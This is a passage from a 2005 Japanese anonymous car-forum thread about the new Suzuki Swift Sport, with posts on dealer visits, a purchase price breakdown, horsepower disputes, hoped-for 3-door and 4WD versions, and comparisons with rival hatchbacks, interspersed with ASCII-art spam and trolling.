仕事の移動途中に、香川県丸亀市にあるスズキディーラーの前を通ったら
白色のスイスポの展示車があったんで、お客はんのとこ寄った帰りに見てきた。

登録してへんかったから試乗はできんかったけど
見積もりだけもらってきた。昨日、届いたばっかりと言ってた。
スズキ香川の本社にも赤色が、店内に展示されとった。
週末には試乗できるかなぁ〜と淡い期待をば。

対応してくれたおっちゃんは「是非、是非、是非」と売り込んできはった。
ちゃーんと勉強させてもらいますからと、飛び込み客に一護の値引き提示。
すでにマーチからの乗り換えで、注文してくれてはる人もいるとか言ってた。

あ、せやけど「秋の違反金回収徹底期間」が始まったから、試乗はそれが終わってからかな。

239 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 13:38:56 ID:xkkqhYJP0

方言バリバリですね。

240 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 13:52:54 ID:a0BngF3j0

>>235,236
ディーラーでもカタログが品切れだったので増刷してたんでしょうね。
最近はネットで気軽に請求できるのでカタログもかなりの部数必要なんでしょう。

>>237
カタログ用に作った画像と文章をそのままサイトにも載せてるってのが正解かと。

241 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 13:56:29 ID:WIKpsyzP0

田舎モノは消えろ

242 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 14:09:02 ID:N4wb7nP40

>>239
これでも抑えてる方。ちなみに香川の言葉じゃないよ。
俺は関西から香川に、上司と喧嘩して左遷された人だから。

243 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 14:26:54 ID:oxbZIU2l0

方言も嫌いだが

〜な人だから
も大嫌い　　　

244 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 15:08:46 ID:N4wb7nP40

>>243
お前バカ？嫌いなら返事すんな。
口先だけのヘタレのくせに。

245 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 16:10:57 ID:YLtjevpBo

>>244
左遷じゃなくてクビにされればよかったのにヾ|・∀・|ノ

246 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 16:20:18 ID:y+yin9rA0

スイスポって出たばかりだから値引きなんか無いでしょうね。

247 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 16:22:12 ID:359Qpujh0

>>227、228
メーカーはベンチだよ。パックすら正式数値取扱う時は使わない。
気圧・温度・湿度など(勿論EG側も各所温度管理)も管理されてる。

248 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:09:01 ID:kJj6yizc0

おーとま買った。
車両本体価格1.617.000
値引き142.115
販売店オプションﾌﾛｱﾏｯﾄ　13.230
　　　　　　　　　　 ｻｲﾄﾞﾊﾞｲｻﾞｰ　13.650
ﾅﾝﾊﾞｰﾌﾚｰﾑ　3.570
　　　　　　　　　　　PﾅﾋﾞHDS955MD　260.000（←これその辺のｼｮｯﾌﾟよりたかーい）
ｵｰﾃﾞｨｵ取り付けﾌﾞﾗｹｯﾄ　1.470
　　　　　　　　　　　Sﾀｲﾔｱﾙﾐｾｯﾄ　90.000
　　　　　　　　　　　合計381.920
計1.856.805
税金、諸費用計243.195
合計2.100.000
でした。HIDだけってオプションは出さないらしいですよ。付けたかったけど。

249 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:29:26 ID:YhZAot5Z0

sタイヤ　ﾜﾛｽ

250 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:33:22 ID:mFKYgxZi0

オートマでＳタイヤですか…
しかもセットで9万で買える様なアルミと組み合わせ…

まあ人それぞれですが…

251 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:34:28 ID:kJj6yizc0

スノーのSですが、なんかほかにあるの？

252 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:37:39 ID:wKl3X2a/O

>>２５１
レース用の方と勘違いされてるぞ
しっかりスノーと書くかスタッドレスと書くべきだったな。

253 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:44:17 ID:kJj6yizc0

注文書そのまま書いたもんで。失礼しました。

254 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:44:51 ID:a0BngF3j0

>>251
普通Sタイヤと言うとセミスリック（セミレーシング）タイヤのこと。

255 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 17:51:14 ID:86/FIGrd0

スイスポのカタログ申し込んだのに、旧スイフトのパンフレットが届いた。

256 名前：VEGLIA：2005/09/21(水) 18:08:38 ID:1fsqxAHDO

125馬力あれば、俺的にはもう十分。
でも、もうチョイ軽く造ってほしかった。
剛性確保の為、仕方ない部分もあったと思うけど。

要望が強ければ３ドアも出すとか言ってるみたいだけど、３ドアなら１トン切れるかな？
って言うか、出すとしても大分先の話だろうけど。

馬力無くとも、より軽量なマーチ１２ＳＲに気持ちが傾きそうな今日このごろ・・・。

257 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 18:13:03 ID:y+yin9rA0

>>248

opを沢山付けて１４万の値引きという事は、車両単体では１０万以下かもしれないね。
ＡＴ買ったようだけど試乗は、しました？
1.3のＡＴを試乗したら１速と２速が離れすぎていて使いにくかったのだけど
スイスポもギア比が同じだからちょっと心配。

258 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 18:19:45 ID:/1aGlzmJ0

MTだったらどうにでもなりそうだけど、さすがに1.6のATは燃費激悪だろうね

259 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 18:37:38 ID:kJj6yizc0

試乗無し。ｽｲｽﾎﾟ見てもいませんｗ
ﾉｰﾏﾙｽｲﾌﾄ1.5ATがあったんで試乗してみて、まぁ、いいかぁってな感じで
ほんとは車買い替えの予定は無かったんですが
諸事情により今の車に乗れなくなっての買い替えなので
そんなに、これだ！欲しい！
ってのではなかったので。C4欲しかったんですがね。お財布、ﾃﾞｨｰﾗｰとの癒着の都合上。

260 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:41:46 ID:ZfnUI0fZ0

>>256
だから実質98馬力ですから
残念！！

261 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:46:58 ID:fRSPflgT0

>>260
自分で測定してから言え。

他人の受け売りばかり（´ー｀）
ｷﾓｽ。

262 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:47:32 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：　　　98馬力フォーーーーー　　　　　　　　　　　　　 　　 　 ：：´
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

263 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:48:58 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：　　　馬力詐称フォーーー！！　　　　　　　　　　　　　 　　 　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ こん

264 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:51:55 ID:ZfnUI0fZ0

,､i｀ヽ　　　狼の皮かぶった子羊フォーーーーー
　｀ヽ：：　　　　　　　　　　　　　　　　 　　 　 ：：´
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ こん

265 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:54:33 ID:ZfnUI0fZ0

　　　アメリカなら訴えられますよー　フォーーーー
　｀ヽ：：　　　　　　　　　　　　　　　　 　　 　 ：：´
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ こん

266 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:55:30 ID:y+yin9rA0

ZfnUI0fZ0さん

悔しかったんだね（苦笑）

267 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:56:04 ID:ZfnUI0fZ0

泣く子も黙る98馬力　フォーーーーー
　｀ヽ：：　　　　　　　　　　　　　　　　 　　 　 ：：´
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ こん

268 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:57:46 ID:ZfnUI0fZ0

鱸は馬力が25パーセントOFF！！フォーーーー
　｀ヽ：：　　　　　　　　　　　　　　　　 　　 　 ：：´
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

269 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 19:59:13 ID:ZfnUI0fZ0

ハッタリツインマフラー　バッチコーーイ　フォーーー
　｀ヽ：：　　　　　　　　　　　　　　　　 　　 　 ：：´
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ こん

270 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 20:02:59 ID:fRSPflgT0

匿名掲示板とはいえ
ZfnUI0fZ0は
恥を知れ（´・ω・｀）

271 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 20:31:05 ID:HMnlNAV30

AA荒らしは問題あるなぁ

２ちゃん止めたくないだろ？いい加減にしとけ

272 名前：VEGLIA：2005/09/21(水) 20:51:41 ID:1fsqxAHDO

スペック詐称王国のイタ○ア車を転がしていた私にとっては、
自称125馬力だろうが実質98馬力だろうが関係無い事でございます。

非力でも振り回せる車両で、十分１クラス上の国産に食い込んでいけましたので。
まぁ、小さめのクネクネしたサーキットでの話ですけどね(^^)

273 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 20:52:02 ID:5q2wqAuD0

>>256
３ドア出すかもってマジ？
セールスマニュアルには３ドアは予定なしって書いてたけど・・・。

積雪地方のニーズ次第では４ＷＤは出るかもしれないらしいけど。

274 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 20:52:10 ID:qpNYgSin0

>248
オメ！
おらも早くホスイ。

275 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 20:57:01 ID:PV3VipYm0

こんな遅くてツマラン車何がいいの？

おまえら音痴杉

276 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:02:42 ID:EOY4olJy0

>>275
IDがPV3本VIPなYMO

277 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:06:51 ID:HMnlNAV30

ID:ZfnUI0fZ0さん
もう一度書き込んでくれませんか

あまりにもID:PV3VipYm0が貴方と似てるんで、回線切り替えたのかと
無粋な詮索してしまいます

278 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:08:20 ID:452rXqZK0

どんなクルマがツマルのよ？

279 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:08:25 ID:DII6rcxI0

＞こんな遅くてツマラン車何がいいの？
サカッーでは見送りを薦めていたからな。

280 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:11:06 ID:PV3VipYm0

普通ハッチならシビックR買うだろ

スイスポなんて遅いしダルいし

281 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:18:12 ID:y+yin9rA0

シビックR・・・・・格好悪い・ガキっぽい

良い車なんだけどね。

282 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:19:06 ID:DII6rcxI0

＞スイスポなんて遅いしダルいし
内装のセンスは軽ススキだからな。

283 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:21:08 ID:rwBWvOs90

シビックRは保険が高すぎる

284 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:21:51 ID:1yR9JeCH0

なんでスイスポに興味ないのにわざわざこのスレ来るんだろうな？
リアルで話し相手いないんだろ。可哀相な奴だな。

285 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:21:57 ID:452rXqZK0

じゃ、シビック買えば？
それだけのハナシじゃん。
スイフトの文句言う必要ないだろ。

286 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:24:14 ID:PV3VipYm0

だってスイフトなんかで喜んでる音痴君達見てたらからかいたくなるから（笑）

287 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:24:18 ID:mkHllfYi0

webCGでインプレが出てる。

ttp://www.webcg.net/WEBCG/impressions/000017178.html

288 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:28:55 ID:gXJyvHeP0

>>286
スイスポ乗ったことも無いのに良く言うよ。ｗ
どうせシビックＲどころか、底辺シビックだろ。

289 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:31:37 ID:DII6rcxI0

＞インプレが出てる。
雑誌の使命として警告が当たり前だな。

290 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:32:51 ID:+Yo6gxq9O

此で、２ドア・オープンでたら良いのに、
出来るだけ車重増加少なめでプラス３○万で。

トップは幌で結構でつ、リアシートもプラス２で。

291 名前：VEGLIA：2005/09/21(水) 21:35:47 ID:1fsqxAHDO

売れてるかどうかはともかく、３ドアは既にＥＵでは販売してるそうで・・・。
（じゃなきゃＪ-ＷＲＣに出られませんものね）

じゃ、何で日本で売らないかと言うと、日本の生産ラインには５ドアのラインしか無いと言うのもあるらしいのですが、
やはり国内市場としては“今時、ハッチバックは５ドアじゃないと売れない”みたいな風潮が影響してるみたいです。
若い人にｽﾀｰﾚｯﾄやCR-X等の3ﾄﾞｱ･ﾊｯﾁﾊﾞｯｸが売れたのは昔の話って事なんでしょうか？
確かに今時の若いあんちゃんは、そんなの乗るよりミニ・バンに飛び付く感じですよね。

メーカーサイドは非公式ながら「要望が強ければ３ドア発売もやぶさかではない」みたいな事を言ってるみたいですが、
生産ライン建設コストの元を取れる確信が無ければ動きださないのは必至な訳で・・・(T_T)

３ドア発売、可能性はやっぱ低いかなー？
でも、やっぱ出してほしー！！

292 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:37:03 ID:HzuMgZ2l0

３ドアで1000キロ以下になれば即買う。
黄色買う。レカロいらね。

293 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:38:06 ID:PV3VipYm0

>>288

Rじゃなくてもスイフトより速いしなぁ（笑）

294 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:44:56 ID:DII6rcxI0

＞３ドアで1000キロ以下になれば即買う。
新型スイスポは軽ベースの設計だからな。

295 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:48:53 ID:8AknzyEp0

>積雪地方のニーズ次第では４ＷＤは出るかもしれないらしいけど。

さすがに要らないだろ。
スイスポはスイフトの中でも特別な存在なはずじゃないのか。
3ﾄﾞｱもなくATを設定してさらには4WDってか。

売りたいのはわかるが・・・。
スズキもつまらん会社になってしまったな。

296 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:48:53 ID:y+yin9rA0

>新型スイスポは軽ベースの設計だからな

↑盲？

297 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:55:33 ID:pDfZuPfj0

数日に一回位の割合で来るよな。>>296みたいな人。

298 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 21:56:33 ID:gXJyvHeP0

>>293
なんだやっぱしシビックＲ乗ったことないじゃん。ｗｗｗ

299 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:04:47 ID:PV3VipYm0

wの数だけアフォ丸出し（笑）

300 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:08:14 ID:DII6rcxI0

＞↑盲？
お前はカタログを読んでいないみたいだな。

301 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:10:53 ID:BgKK+mWw0

次のシビックが最悪でテンパってるんでしょ
親父向けセダンしか出ないっていうしｗ
スイフトに興味あるの見え見えでワロス

302 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:11:25 ID:agcdhr1j0

粘着

303 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:13:36 ID:PV3VipYm0

スイフト乗るくらいだったらヴィッツRSの方がだいぶマシ

だいたい鱸の車なんて怖くて乗れねー（笑）

304 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:14:00 ID:5q2wqAuD0

シビックＲみたいな速くても高くて、乗り心地わるくて
うるさい車はいらん。

実際、ＥＧあたりまでのシビック乗ってて、新スイスポいいなぁと思ってる人多そう。

305 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:16:01 ID:y+yin9rA0

新スイスポを軽ベースと思い込んでる人がいるとは。。。ﾌﾟ

やっぱ盲だ

306 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:17:40 ID:yqS6CkEY0

ヴィッツＴＲＤスポーツＭならレギュラーで１，５Ｌで１２０馬力だよ。

307 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:18:06 ID:8AknzyEp0

>>305
毎日似たようなおありばかりしてる奴に
釣られてるお前もな・・・。

308 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:22:47 ID:1yR9JeCH0

>>304
シビックRは価格的に比較対象外な希ガス

>>306
ヴィッツTRDスポーツMもかなり価格違うだろ

309 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:24:44 ID:XqrANOYU0

スイスポの速さはスペックどおり。

でもスポーツエンジンらしいレスポンスやサウンドがあって元気がいい。

「ぬるめのスポーツ」

シビックRはビシバシ。スペックどおり速い。

良し悪しは人それぞれ。

310 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:25:50 ID:gXJyvHeP0

スペック厨ワロタ。ＮＳＸとオッサンカー。同じ２８０ＰＳな訳だが。
よりによってなんちゃってスポーティー代表ヴィッツを引っ張ってくるとは…。
調べてみたら、ＭＴで１８４万もするんだな。

311 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:25:51 ID:DII6rcxI0

＞新スイスポを軽ベース
軽ススキは０次案をひた隠しているからな。

312 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:27:20 ID:0MLZ1R8q0

>>299
結局おまいも新型スイスポが気になって仕方ないんだろ？
照れないで白状しんしゃい。
つか2chで（笑）ってかなりレアだな。

313 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:27:49 ID:SXMlCNKj0

1.6Lターボ　AWD　6MT　156kW　で199万円なら買う

314 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:34:01 ID:eaPkSdoT0

なんか同じ人ばっか。ひょっとして４〜５人で動いてる？

315 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:34:15 ID:/rhEJOvr0

ヴィッツRSの方が楽しそう
鱸の車ってほんっと微妙だからなぁ…

316 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:35:06 ID:gXJyvHeP0

　　　　　　　”乗っても無いのに良く言うよ。”

317 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:35:23 ID:8AknzyEp0

文句いう奴ばっかだな。

大人しく興味のある車のｽﾚにでもいけっつーの（´・ω・｀）

318 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:35:47 ID:0MLZ1R8q0

ためしに点呼〜

１　ﾉ

319 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:36:12 ID:rwBWvOs90

この車、プジョー106乗りあたりが流れてきそうだね
彼らには物足りないかもしれないが

320 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:38:33 ID:yqS6CkEY0

以前鱸車に乗っており基本的に鱸は好きだ。しかし３年ぐらい乗るといっきにヤレル感じがした。今はだいじょうぶなのかしら

321 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:39:27 ID:0MLZ1R8q0

>>315
魅力をどこに感じるか、っつーのは人それぞれだからおまいさんにはこの車はつまらなく思えるかも知れないな。
ちなみに俺は旧型ヴィッツRSなら買ってもいいかなって思ってる。見た目が好きだから…。
ただおまいさんの言い分は容量を得てないし理由も曖昧。
からかいたいならからかいたいでもちっとグゥの音も出ないような事を言ってみたらどうかと思うんだが。

322 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:40:04 ID:DII6rcxI0

＞３年ぐらい乗るといっきにヤレル感じがした。
Ｇパンで座るとパンツまで赤に染まりそうだな。

323 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:40:52 ID:y+yin9rA0

軽のサイズが分からない盲厨がまだいる・・・・

324 名前：VEGLIA：2005/09/21(水) 22:42:51 ID:1fsqxAHDO

ヴィッツも悪く無いよね。大体、トヨタの車造りって堅くてハズレが無いと思う。只のカローラだって峠道走ってると良く出来てるナーと関心してしまいます。（反面、面白みが無いのも事実な気もするけど）

でもさァ、ヴィッツのＡピラー、すんごく邪魔なんだよね。交差点で左右確認し辛くて・・・(;^_^A
私だけでしょうか？ちょっとした事なんだけどね。

ヴィッツ・ユーザーの方、いらっしゃいます？その辺どうですか？

325 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:43:39 ID:M7MQrhbd0

>>291
よく要望があればってメーカー側は言うが、
どうやったらこの思いをスズキに伝えられるんだよ
ディーラーに言えばいいのか？

326 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:44:17 ID:yqS6CkEY0

まだきてないからわからないが試乗したときはきにならなかったなー

327 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:45:31 ID:gXJyvHeP0

このスレも、ディーラーどころかスズキ本社も見てるだろうよ。

328 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:46:29 ID:IIy7L2oF0

新型ヴィッツRS乗りの漏れが来ましたよ

>>315 悪いことは言わんやめとけ

この車 マジくそたるいぞ OTZ

329 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:46:41 ID:DII6rcxI0

＞見てるだろうよ。
軽ベースの発表は時期が大切だからな。

330 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:48:23 ID:8AknzyEp0

>>327
2chの偏った意見は参考にならんと思うけど・・・。

331 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:48:33 ID:/rhEJOvr0

>>328
脳内乙

332 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:49:08 ID:ZfnUI0fZ0

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　　　ヽ `ｰ-‐'⌒：:::`ル::::::：r~`（　/　　　
　　　　`‐- ─ﾍ：::::::|:::::::::：ヾ､__,ノ 　　
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　　　　（（　　　/;;;/:::::::《　　　）） 　
　　　　　 　　<;;;l《:::::;;:ヽ
　　　　　 ／ 　 ヽI,r''"^~､

オッケ〜〜〜〜イ　鈴木すいふとすぽーつさん
HGの愛車の5万で買った
スターレットソレイユ1.3(100ps)オカン仕様で
いつでも勝負受けますよー
バッチコーイ
フォーーーー！！

333 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:49:22 ID:DII6rcxI0

＞参考にならんと思うけど・・・。
本当のことが言えるのは２ｃｈだけだからな。

334 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:51:17 ID:y+yin9rA0

ヴィッツＲＳも良い車だが・・面白くない。
っていうかトヨタにとって面白さなんてどうでも良い事。
楽しさを求める客なんか眼中にない。
そんなメーカーさ。

335 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:51:17 ID:HgKd7yrOO

　　　　　　　　　タ
シューーーーだ
　　　　　　　　な
　　　　　　　　　　ン

336 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:52:03 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：　Gパン真っ赤フォーーーーー　　　　　　　　　　　　　 　　 　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

337 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:52:53 ID:1yR9JeCH0

>>324
試乗しかした事無いけど、Aピラーが随分前に寄っているクルマだなー、とは思った

338 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:54:27 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
